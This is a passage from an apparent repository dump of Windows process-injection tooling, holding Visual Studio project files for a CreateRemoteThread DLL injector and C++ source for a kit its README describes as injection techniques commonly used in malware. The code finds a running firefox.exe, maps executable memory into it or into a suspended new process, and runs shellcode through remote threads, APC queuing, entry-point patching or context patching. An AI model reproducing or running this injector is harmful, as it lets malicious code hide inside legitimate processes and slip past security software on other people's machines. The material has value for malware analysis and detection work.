Dynamic\r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n true\r\n \r\n \r\n true\r\n \r\n \r\n false\r\n \r\n \r\n false\r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n \r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n Create\r\n Create\r\n Create\r\n Create\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "Inject/CreateRemoteThread/CreateRemoteThread/CreateRemoteThread.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\r\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\r\n \r\n \r\n {93995380-89BD-4b04-88EB-625FBE52EBFB}\r\n h;hpp;hxx;hm;inl;inc;xsd\r\n \r\n \r\n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\r\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n \r\n \r\n 资源文件\r\n \r\n \r\n" }, { "path": "Inject/CreateRemoteThread/CreateRemoteThread/ReadMe.txt", "content": "32 bit process Inject The dll to 32 bit process\n64 bit process Inject The dll to 64 bit process\nsometimes you maybe fail to inject because cann't openprocess successful\nand many safe software will protect it avoiding you to inject\n" }, { "path": "Inject/CreateRemoteThread/CreateRemoteThread/Resource.h", "content": "//{{NO_DEPENDENCIES}}\r\n// Microsoft Visual C++ generated include file.\r\n// Used by CreateRemoteThread.rc\r\n//\r\n\r\n#define IDS_APP_TITLE 103\r\n\r\n// ¶һĬֵ\r\n//\r\n#ifdef APSTUDIO_INVOKED\r\n#ifndef APSTUDIO_READONLY_SYMBOLS\r\n#define _APS_NEXT_RESOURCE_VALUE 101\r\n#define _APS_NEXT_COMMAND_VALUE 40001\r\n#define _APS_NEXT_CONTROL_VALUE 1000\r\n#define _APS_NEXT_SYMED_VALUE 101\r\n#endif\r\n#endif\r\n" }, { "path": "Inject/CreateRemoteThread/CreateRemoteThread/stdafx.cpp", "content": "// stdafx.cpp : ֻ׼ļԴļ\r\n// CreateRemoteThread.pch ΪԤͷ\r\n// stdafx.obj ԤϢ\r\n\r\n#include \"stdafx.h\"\r\n\r\n// TODO: STDAFX.H \r\n// κĸͷļڴļ\r\n" }, { "path": "Inject/CreateRemoteThread/CreateRemoteThread/stdafx.h", "content": "// stdafx.h : ׼ϵͳļİļ\r\n// Ǿʹõĵ\r\n// ضĿİļ\r\n//\r\n\r\n#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#include \r\n#include \r\n#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString 캯ʽ\r\n\r\n#ifndef VC_EXTRALEAN\r\n#define VC_EXTRALEAN // Windows ͷļųʹõϢ\r\n#endif\r\n\r\n#include \r\n#include // MFC ͱ׼\r\n#include // MFC չ\r\n#ifndef _AFX_NO_OLE_SUPPORT\r\n#include // MFC Internet Explorer 4 ؼ֧\r\n#endif\r\n#ifndef _AFX_NO_AFXCMN_SUPPORT\r\n#include // MFC Windows ؼ֧\r\n#endif // _AFX_NO_AFXCMN_SUPPORT\r\n\r\n#include \r\n\r\n\r\n\r\n// TODO: ڴ˴óҪͷļ\r\n" }, { "path": "Inject/CreateRemoteThread/CreateRemoteThread/targetver.h", "content": "#pragma once\r\n\r\n// SDKDDKVer.h õ߰汾 Windows ƽ̨\r\n\r\n// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h\r\n// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h\r\n\r\n#include \r\n" }, { "path": "Inject/CreateRemoteThread/CreateRemoteThread.sln", "content": "\r\nMicrosoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"CreateRemoteThread\", \"CreateRemoteThread\\CreateRemoteThread.vcxproj\", \"{62BBF757-A1B4-4FF4-89C0-2890DEF4983F}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tRelease|Win32 = Release|Win32\r\n\t\tRelease|x64 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Release|Win32.Build.0 = Release|Win32\r\n\t\t{62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Release|x64.Build.0 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "Inject/CreateRemoteThread/ReadMe.txt", "content": "32 bit process Inject The dll to 32 bit process\n64 bit process Inject The dll to 64 bit process\nsometimes you maybe fail to inject because cann't openprocess successful\nand many safe software will protect it avoiding you to inject\n\n\nsupport more OS." }, { "path": "Inject/ExtraWindowInject/README.md", "content": "# inject_shellcode\nSmall compendium of injection techniques commonly used in malware demonstrated on metasploit-generated shellcode
\n\nVarious objects of injection:
\n+ existing process (found by name)\n+ newly created process\n\nDemonstrated methods:
\n+ Running shellcode in a new thread\n+ Adding shellcode into existing thread (using NtQueueApcThread)\n+ Patching Entry Point of the process\n+ Patching context of the process\n+ Injecting into Tray Window (using SetWindowLong)\n" }, { "path": "Inject/ExtraWindowInject/src/CMakeLists.txt", "content": "cmake_minimum_required (VERSION 2.8)\nproject (Injections)\n\nadd_definitions(-DUNICODE -D_UNICODE)\n\nset (srcs\n\tmain.cpp\n\twindow_long_inject.cpp\n\tsysutil.cpp\n\tpe_hdrs_helper.cpp\n)\n\nset (hdrs\n\tmain.h\n\tntddk.h\n\tntdll_undoc.h\n\tkernel32_undoc.h\n\tmap_buffer_into_process.h\n\ttarget_util.h\n\tpayload.h\n\tcreateproc.h\n\tadd_thread.h\n\tadd_apc.h\n\tpatch_ep.h\n\tpatch_context.h\n\twindow_long_inject.h\n\tenumproc.h\n\tsysutil.h\n\tpe_hdrs_helper.h\n)\n\nadd_executable (Injections ${hdrs} ${srcs})\n\nINSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} )\n" }, { "path": "Inject/ExtraWindowInject/src/add_apc.h", "content": "#pragma once\n#include \n#include \"ntdll_undoc.h\"\n\nbool add_shellcode_to_apc(HANDLE hThread, LPVOID remote_shellcode_ptr)\n{\n#if defined(_WIN64)\n printf(\"[ERROR] 64bit version of this method is not implemented!\\n\");\n return false;\n#else\n printf(\"Adding shellcode to the queue\\n\");\n NTSTATUS status = NULL;\n \n if ((status = NtQueueApcThread(hThread, remote_shellcode_ptr, 0, 0, 0)) != STATUS_SUCCESS)\n {\n printf(\"[ERROR] NtQueueApcThread failed, status : %x\\n\", status);\n return false;\n }\n return true;\n#endif\n}\n" }, { "path": "Inject/ExtraWindowInject/src/add_thread.h", "content": "#pragma once\n#include \n#include \"ntddk.h\"\n#include \"ntdll_undoc.h\"\n\ntypedef enum {\n usingRandomMethod,\n usingCreateRemoteThread,\n usingZwCreateThreadEx,\n usingRtlCreateUserThread,\n CREATION_METHODS_SIZE\n} THREAD_CREATION_METHOD;\n\nbool run_shellcode_in_new_thread1(HANDLE hProcess, LPVOID remote_shellcode_ptr)\n{\n NTSTATUS status = NULL;\n //create a new thread for the injected code:\n LPTHREAD_START_ROUTINE routine = (LPTHREAD_START_ROUTINE) remote_shellcode_ptr;\n\n DWORD threadId = NULL;\n HANDLE hMyThread = NULL;\n if ((hMyThread = CreateRemoteThread(hProcess, NULL, NULL, routine, NULL, CREATE_SUSPENDED, &threadId)) == NULL) {\n printf(\"[ERROR] CreateRemoteThread failed, status : %x\\n\", GetLastError());\n return false;\n }\n printf(\"Created Thread, id = %x\\n\", threadId);\n printf(\"Resuming added thread...\\n\");\n ResumeThread(hMyThread); //injected code\n return true;\n}\n\nbool run_shellcode_in_new_thread2(HANDLE hProcess, LPVOID remote_shellcode_ptr)\n{\n NTSTATUS status = NULL;\n HANDLE hMyThread = NULL;\n //create a new thread for the injected code:\n if ((status = ZwCreateThreadEx(&hMyThread, 0x1FFFFF, NULL, hProcess, remote_shellcode_ptr, NULL, CREATE_SUSPENDED, 0, 0, 0, 0)) != STATUS_SUCCESS)\n {\n printf(\"[ERROR] ZwCreateThreadEx failed, status : %x\\n\", status);\n return false;\n }\n printf(\"Created Thread, id = %x\\n\", GetThreadId(hMyThread));\n printf(\"Resuming added thread...\\n\");\n ResumeThread(hMyThread); //injected code\n return true;\n}\n\nbool run_shellcode_in_new_thread3(HANDLE hProcess, LPVOID remote_shellcode_ptr)\n{\n NTSTATUS status = NULL;\n HANDLE hMyThread = NULL;\n CLIENT_ID cid;\n //create a new thread for the injected code:\n \n if ((status = RtlCreateUserThread(hProcess, NULL, true, 0, 0, 0, remote_shellcode_ptr, NULL, &hMyThread, &cid)) != STATUS_SUCCESS)\n {\n printf(\"[ERROR] RtlCreateUserThread failed, status : %x\\n\", status);\n return false;\n }\n printf(\"Created Thread, id = %x\\n\", GetThreadId(hMyThread));\n printf(\"Resuming added thread...\\n\");\n ResumeThread(hMyThread); //injected code\n return true;\n}\n\n//---\nbool run_shellcode_in_new_thread(HANDLE hProcess, LPVOID remote_shellcode_ptr, DWORD method)\n{\n bool isSuccess = false;\n DWORD max = CREATION_METHODS_SIZE - 1;\n DWORD random = (GetTickCount() * 1000) % max + 1;\n if (method > max || method <= usingRandomMethod) method = random;\n\n printf(\"Injecting by method, id = %x\\n\", method);\n switch (method) {\n case usingCreateRemoteThread:\n isSuccess = run_shellcode_in_new_thread1(hProcess, remote_shellcode_ptr);\n break;\n case usingZwCreateThreadEx:\n isSuccess = run_shellcode_in_new_thread2(hProcess, remote_shellcode_ptr);\n break;\n case usingRtlCreateUserThread:\n isSuccess = run_shellcode_in_new_thread3(hProcess, remote_shellcode_ptr);\n break;\n default:\n return false;\n }\n return isSuccess;\n}\n" }, { "path": "Inject/ExtraWindowInject/src/createproc.h", "content": "#pragma once\n#include \"kernel32_undoc.h\"\n\nbool create_new_process1(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL)\n{\n STARTUPINFO si;\n memset(&si, 0, sizeof(STARTUPINFO));\n si.cb = sizeof(STARTUPINFO);\n\n memset(&pi, 0, sizeof(PROCESS_INFORMATION));\n\n if (!CreateProcess(\n NULL,\n cmdLine,\n NULL, //lpProcessAttributes\n NULL, //lpThreadAttributes\n FALSE, //bInheritHandles\n DETACHED_PROCESS|CREATE_SUSPENDED|CREATE_NO_WINDOW, //dwCreationFlags\n NULL, //lpEnvironment \n startDir, //lpCurrentDirectory\n &si, //lpStartupInfo\n &pi //lpProcessInformation\n ))\n {\n printf(\"[ERROR] CreateProcess failed, Error = %x\\n\", GetLastError());\n return false;\n }\n return true;\n}\n\nbool create_new_process2(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL)\n{\n STARTUPINFO si;\n memset(&si, 0, sizeof(STARTUPINFO));\n si.cb = sizeof(STARTUPINFO);\n\n memset(&pi, 0, sizeof(PROCESS_INFORMATION));\n\n HANDLE hToken = NULL;\n HANDLE hNewToken = NULL;\n if (!CreateProcessInternalW (hToken,\n NULL, //lpApplicationName\n (LPWSTR) cmdLine, //lpCommandLine\n NULL, //lpProcessAttributes\n NULL, //lpThreadAttributes\n FALSE, //bInheritHandles\n CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW, //dwCreationFlags\n NULL, //lpEnvironment \n startDir, //lpCurrentDirectory\n &si, //lpStartupInfo\n &pi, //lpProcessInformation\n &hNewToken\n ))\n {\n printf(\"[ERROR] CreateProcessInternalW failed, Error = %x\\n\", GetLastError());\n return false;\n }\n return true;\n}\n" }, { "path": "Inject/ExtraWindowInject/src/enumproc.h", "content": "#pragma once\n#include \n\nbool get_process_name(IN HANDLE hProcess, OUT LPWSTR nameBuf, IN SIZE_T nameMax)\n{\n HMODULE hMod;\n DWORD cbNeeded;\n\n if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded)) {\n GetModuleBaseName( hProcess, hMod, nameBuf, nameMax );\n return true;\n }\n return false;\n}\n\nbool is_searched_process( DWORD processID, LPWSTR searchedName)\n{\n HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );\n if (hProcess == NULL) return false;\n\n WCHAR szProcessName[MAX_PATH];\n if (get_process_name(hProcess, szProcessName, MAX_PATH)) {\n if (wcsstr(szProcessName, searchedName) != NULL) {\n printf( \"%S (PID: %u)\\n\", szProcessName, processID );\n CloseHandle(hProcess);\n return true; \n }\n }\n CloseHandle(hProcess);\n return false;\n}\n\nHANDLE find_running_process(LPWSTR searchedName)\n{\n DWORD aProcesses[1024], cbNeeded, cProcesses;\n unsigned int i;\n\n if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded)) {\n return NULL;\n }\n\n //calculate how many process identifiers were returned.\n cProcesses = cbNeeded / sizeof(DWORD);\n\n //search handle to the process of defined name\n for ( i = 0; i < cProcesses; i++ ) {\n if( aProcesses[i] != 0 ) {\n if (is_searched_process(aProcesses[i], searchedName)) {\n HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, aProcesses[i]);\n return hProcess;\n }\n }\n }\n return NULL;\n}\n" }, { "path": "Inject/ExtraWindowInject/src/kernel32_undoc.h", "content": "#pragma once\n\n#include \n\n//don't forget to load functiond before use:\n//load_kernel32_functions();\n//\n\nBOOL \n(WINAPI *CreateProcessInternalW)(HANDLE hToken, \n LPCWSTR lpApplicationName, \n LPWSTR lpCommandLine,\n LPSECURITY_ATTRIBUTES lpProcessAttributes,\n LPSECURITY_ATTRIBUTES lpThreadAttributes,\n BOOL bInheritHandles,\n DWORD dwCreationFlags, \n LPVOID lpEnvironment, \n LPCWSTR lpCurrentDirectory, \n LPSTARTUPINFOW lpStartupInfo,\n LPPROCESS_INFORMATION lpProcessInformation,\n PHANDLE hNewToken\n );\n\n\nBOOL load_kernel32_functions()\n{\n HMODULE hKernel32 = GetModuleHandleA(\"kernel32\");\n CreateProcessInternalW = (BOOL (WINAPI *)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION, PHANDLE)) GetProcAddress(hKernel32,\"CreateProcessInternalW\");\n if (CreateProcessInternalW == NULL) return FALSE;\n\n return TRUE;\n}\n" }, { "path": "Inject/ExtraWindowInject/src/main.cpp", "content": "#include \n#include \n\n#include \"main.h\"\n#include \"createproc.h\"\n#include \"enumproc.h\"\n\n#include \"payload.h\"\n#include \"map_buffer_into_process.h\"\n#include \"sysutil.h\"\n\ntypedef enum {\n ADD_THREAD,\n ADD_APC,\n PATCH_EP,\n PATCH_CONTEXT\n} INJECTION_POINT;\n\ntypedef enum {\n EXISTING_PROC,\n NEW_PROC,\n TRAY_WINDOW\n} TARGET_TYPE;\n\nusing namespace std;\n\nbool inject_in_new_process(INJECTION_POINT mode)\n{\n //get target path\n WCHAR cmdLine[MAX_PATH];\n get_calc_path(cmdLine, MAX_PATH);\n\n WCHAR startDir[MAX_PATH];\n if (!get_dir(cmdLine, startDir)) {\n GetSystemDirectory(startDir, MAX_PATH);\n }\n printf(\"Target: %S\\n\", cmdLine);\n //create suspended process\n PROCESS_INFORMATION pi;\n memset(&pi, 0, sizeof(PROCESS_INFORMATION));\n if (create_new_process2(pi, cmdLine, startDir) == false) {\n return false;\n }\n LPVOID remote_shellcode_ptr = map_buffer_into_process1(pi.hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE);\n bool result = false;\n switch (mode) {\n case ADD_THREAD:\n result = run_shellcode_in_new_thread(pi.hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod);\n // not neccessery to resume the main thread\n break;\n case ADD_APC:\n result = add_shellcode_to_apc(pi.hThread, remote_shellcode_ptr);\n ResumeThread(pi.hThread); //resume the main thread\n break;\n case PATCH_EP:\n result = paste_shellcode_at_ep(pi.hProcess, remote_shellcode_ptr, pi.hThread);\n ResumeThread(pi.hThread); //resume the main thread\n break;\n case PATCH_CONTEXT:\n result = patch_context(pi.hThread, remote_shellcode_ptr);\n ResumeThread(pi.hThread); //resume the main thread\n break;\n }\n \n //close handles\n ZwClose(pi.hThread);\n ZwClose(pi.hProcess);\n return result;\n}\n\nbool inject_in_existing_process()\n{\n HANDLE hProcess = find_running_process(L\"firefox.exe\");\n LPVOID remote_shellcode_ptr = map_buffer_into_process1(hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE);\n if (remote_shellcode_ptr == NULL) {\n return false;\n }\n return run_shellcode_in_new_thread(hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod);\n}\n\nint main()\n{\n if (load_ntdll_functions() == FALSE) {\n printf(\"Failed to load NTDLL function\\n\");\n return (-1);\n }\n if (load_kernel32_functions() == FALSE) {\n printf(\"Failed to load KERNEL32 function\\n\");\n return (-1);\n }\n\n // compatibility checks:\n if (!is_system32b()) {\n printf(\"[WARNING] Your ystem is NOT 32 bit! Some of the methods may not work.\\n\");\n }\n if (!is_compiled_32b()) {\n printf(\"[WARNING] It is recommended to compile the loader as a 32 bit application!\\n\");\n }\n\n // choose the method:\n TARGET_TYPE targetType = TARGET_TYPE::NEW_PROC;\n switch (targetType) {\n case TARGET_TYPE::TRAY_WINDOW:\n if (!is_system32b()) {\n printf(\"[ERROR] Not supported! Your system is NOT 32 bit!\\n\");\n break;\n }\n // this injection is more fragile, use shellcode that makes no assumptions about the context\n if (inject_into_tray(g_Shellcode, sizeof(g_Shellcode))) {\n printf(\"[SUCCESS] Code injected into tray window!\\n\");\n break;\n }\n case TARGET_TYPE::EXISTING_PROC:\n if (inject_in_existing_process()) {\n printf(\"[SUCCESS] Code injected into existing process!\\n\");\n break;\n }\n case TARGET_TYPE::NEW_PROC:\n if (inject_in_new_process(INJECTION_POINT::PATCH_EP)) {\n printf(\"[SUCCESS] Code injected into a new process!\\n\");\n break;\n }\n }\n\n system(\"pause\");\n return 0;\n}\n" }, { "path": "Inject/ExtraWindowInject/src/main.h", "content": "#pragma once\n\n#include \"ntdll_undoc.h\"\n#include \"kernel32_undoc.h\"\n\n#include \"target_util.h\"\n\n//injection types:\n#include \"add_thread.h\"\n#include \"add_apc.h\"\n#include \"patch_ep.h\"\n#include \"patch_context.h\"\n#include \"window_long_inject.h\"\n" }, { "path": "Inject/ExtraWindowInject/src/map_buffer_into_process.h", "content": "#pragma once\n#include // for printf\n#include \n#include \"ntddk.h\"\n\n//set of alternative functions doing the same by a different way\n\nPVOID map_buffer_into_process1(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE)\n{\n HANDLE hSection = NULL;\n OBJECT_ATTRIBUTES hAttributes;\n memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));\n\n LARGE_INTEGER maxSize;\n maxSize.HighPart = 0;\n maxSize.LowPart = static_cast(buffer_size);\n NTSTATUS status = NULL;\n if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, protect, SEC_COMMIT, NULL)) != STATUS_SUCCESS)\n {\n printf(\"[ERROR] ZwCreateSection failed, status : %x\\n\", status);\n return NULL;\n }\n\n PVOID sectionBaseAddress = NULL;\n ULONG viewSize = 0;\n SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE\n\n // map the section in context of current process:\n if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, protect)) != STATUS_SUCCESS)\n {\n printf(\"[ERROR] NtMapViewOfSection failed, status : %x\\n\", status);\n return NULL;\n }\n printf(\"Section BaseAddress: %p\\n\", sectionBaseAddress);\n\n memcpy (sectionBaseAddress, buffer, buffer_size);\n printf(\"Buffer copied!\\n\");\n\n //map the new section into context of opened process\n PVOID sectionBaseAddress2 = NULL;\n if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, protect)) != STATUS_SUCCESS)\n {\n printf(\"[ERROR] NtMapViewOfSection failed, status : %x\\n\", status);\n return NULL;\n }\n\n //unmap from the context of current process\n ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);\n ZwClose(hSection);\n\n printf(\"Section mapped at address: %p\\n\", sectionBaseAddress2);\n return sectionBaseAddress2;\n}\n\nLPVOID map_buffer_into_process2(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE)\n{\n LPVOID remoteAddress = VirtualAllocEx(hProcess, NULL, buffer_size, MEM_COMMIT | MEM_RESERVE, protect);\n if (remoteAddress == NULL) {\n printf(\"Could not allocate memory in the remote process\\n\");\n return NULL;\n }\n if (!WriteProcessMemory(hProcess, remoteAddress, buffer, buffer_size, NULL)) {\n VirtualFreeEx(hProcess,remoteAddress, buffer_size, MEM_FREE);\n return NULL;\n }\n return remoteAddress;\n}\n" }, { "path": "Inject/ExtraWindowInject/src/ntddk.h", "content": "#ifndef __NTDLL_H__\n#define __NTDLL_H__\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n#include \n\n#ifdef _NTDDK_\n#error This header cannot be compiled together with NTDDK\n#endif\n\n\n#ifndef _NTDLL_SELF_ // Auto-insert the library\n#pragma comment(lib, \"Ntdll.lib\")\n#endif\n\n#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union\n\n#pragma warning(push)\n#pragma warning(disable:4005)\n#include \n#pragma warning(pop)\n\n//------------------------------------------------------------------------------\n// Defines for NTSTATUS\n\ntypedef long NTSTATUS;\n\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)\n#endif\n\n#ifndef STATUS_SUCCESS\n#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)\n#endif\n\n#ifndef STATUS_UNSUCCESSFUL\n#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)\n#endif\n\n#ifndef ASSERT\n#ifdef _DEBUG\n#define ASSERT(x) assert(x)\n#else\n#define ASSERT(x) /* x */\n#endif\n#endif\n\n//------------------------------------------------------------------------------\n// Structures\n\ntypedef enum _EVENT_TYPE\n{\n NotificationEvent,\n SynchronizationEvent\n\n} EVENT_TYPE;\n\n//\n// ANSI strings are counted 8-bit character strings. If they are\n// NULL terminated, Length does not include trailing NULL.\n//\n\n#ifndef _NTSECAPI_\ntypedef struct _STRING\n{\n USHORT Length;\n USHORT MaximumLength;\n PCHAR Buffer;\n\n} STRING, *PSTRING;\n\n//\n// Unicode strings are counted 16-bit character strings. If they are\n// NULL terminated, Length does not include trailing NULL.\n//\n\ntypedef struct _UNICODE_STRING\n{\n USHORT Length;\n USHORT MaximumLength;\n PWSTR Buffer;\n\n} UNICODE_STRING, *PUNICODE_STRING;\n#endif // _NTSECAPI_\n\ntypedef STRING ANSI_STRING;\ntypedef PSTRING PANSI_STRING;\n\ntypedef STRING OEM_STRING;\ntypedef PSTRING POEM_STRING;\ntypedef CONST STRING* PCOEM_STRING;\n\ntypedef const UNICODE_STRING *PCUNICODE_STRING;\n\n#define UNICODE_NULL ((WCHAR)0) // winnt\n\n//\n// Valid values for the Attributes field\n//\n\n#ifndef OBJ_CASE_INSENSITIVE\n#define OBJ_INHERIT 0x00000002L\n#define OBJ_PERMANENT 0x00000010L\n#define OBJ_EXCLUSIVE 0x00000020L\n#define OBJ_CASE_INSENSITIVE 0x00000040L\n#define OBJ_OPENIF 0x00000080L\n#define OBJ_OPENLINK 0x00000100L\n#define OBJ_KERNEL_HANDLE 0x00000200L\n#define OBJ_FORCE_ACCESS_CHECK 0x00000400L\n#define OBJ_VALID_ATTRIBUTES 0x000007F2L\n\n//\n// Object Attributes structure\n//\n\ntypedef struct _OBJECT_ATTRIBUTES\n{\n ULONG Length;\n HANDLE RootDirectory;\n PUNICODE_STRING ObjectName;\n ULONG Attributes;\n PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR\n PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE\n\n} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;\n#endif // OBJ_CASE_INSENSITIVE\n\n//\n// IO_STATUS_BLOCK\n//\n\ntypedef struct _IO_STATUS_BLOCK\n{\n union\n {\n NTSTATUS Status;\n PVOID Pointer;\n };\n\n ULONG_PTR Information;\n\n} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;\n\n//\n// ClientId\n//\n\ntypedef struct _CLIENT_ID\n{\n HANDLE UniqueProcess;\n HANDLE UniqueThread;\n\n} CLIENT_ID, *PCLIENT_ID;\n\n\n//\n// CURDIR structure\n//\n\ntypedef struct _CURDIR\n{\n UNICODE_STRING DosPath;\n HANDLE Handle;\n\n} CURDIR, *PCURDIR;\n\n\n//------------------------------------------------------------------------------\n// Macros\n\n// INIT_UNICODE_STRING is a replacement of RtlInitUnicodeString\n#ifndef INIT_UNICODE_STRING\n#define INIT_UNICODE_STRING(us, wch) \\\n us.MaximumLength = (USHORT)sizeof(wch); \\\n us.Length = (USHORT)(wcslen(wch) * sizeof(WCHAR)); \\\n us.Buffer = wch\n#endif\n\n\n#ifndef InitializeObjectAttributes\n#define InitializeObjectAttributes( p, n, a, r, s ) { \\\n (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \\\n (p)->RootDirectory = r; \\\n (p)->Attributes = a; \\\n (p)->ObjectName = n; \\\n (p)->SecurityDescriptor = s; \\\n (p)->SecurityQualityOfService = NULL; \\\n }\n#endif\n\n\n#ifndef InitializePortHeader\n#define InitializeMessageHeader( ph, l, t ) { \\\n (ph)->TotalLength = (USHORT)(l); \\\n (ph)->DataLength = (USHORT)(l - sizeof(PORT_MESSAGE)); \\\n (ph)->Type = (USHORT)(t); \\\n (ph)->VirtualRangesOffset = 0; \\\n }\n#endif\n\n//-----------------------------------------------------------------------------\n// Image functions\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlImageNtHeader (\n\tIN PVOID BaseAddress\n\t);\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlImageDirectoryEntryToData (\n\tIN PVOID Base,\n\tIN BOOLEAN MappedAsImage,\n\tIN USHORT DirectoryEntry,\n\tOUT PULONG Size\n\t);\n\n//-----------------------------------------------------------------------------\n// Unicode string functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlStringFromGUID( \n\tIN REFGUID Guid,\n\tOUT PUNICODE_STRING GuidString\n\t);\n\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitUnicodeString(\n PUNICODE_STRING DestinationString,\n PCWSTR SourceString\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlCreateUnicodeString(\n OUT PUNICODE_STRING DestinationString,\n IN PCWSTR SourceString\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlCreateUnicodeStringFromAsciiz(\n OUT PUNICODE_STRING Destination,\n IN PCSTR Source\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlPrefixUnicodeString (\n IN PUNICODE_STRING String1,\n IN 